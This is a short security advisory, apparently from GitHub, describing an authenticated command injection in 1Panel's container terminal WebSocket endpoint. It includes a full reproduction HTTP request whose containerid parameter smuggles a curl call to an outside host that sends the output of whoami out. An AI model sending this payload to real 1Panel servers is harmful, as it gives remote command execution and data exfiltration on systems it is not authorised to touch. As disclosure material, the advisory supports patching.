1Panel vulnerable to ommand injection when entering the container terminal

3 years ago

### Impact

The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.

1. Vulnerability analysis.

“`
backendappapiv1terminal.go#ContainerWsSsh
“`
![image](https://user-images.githubusercontent.com/46734380/249119420-045ec192-250d-4d07-a69e-0bd794cddec7.png)

2. vulnerability reproduction.

“`
GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20https://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: https://192.168.109.152:40982
Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==
Connection: keep-alive, Upgrade
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
“`

3. The successful execution of system commands.
![image](https://user-images.githubusercontent.com/46734380/249119520-ed2dcc32-be4a-45d8-9286-f9fb778e87da.png)

Affected versions: Read More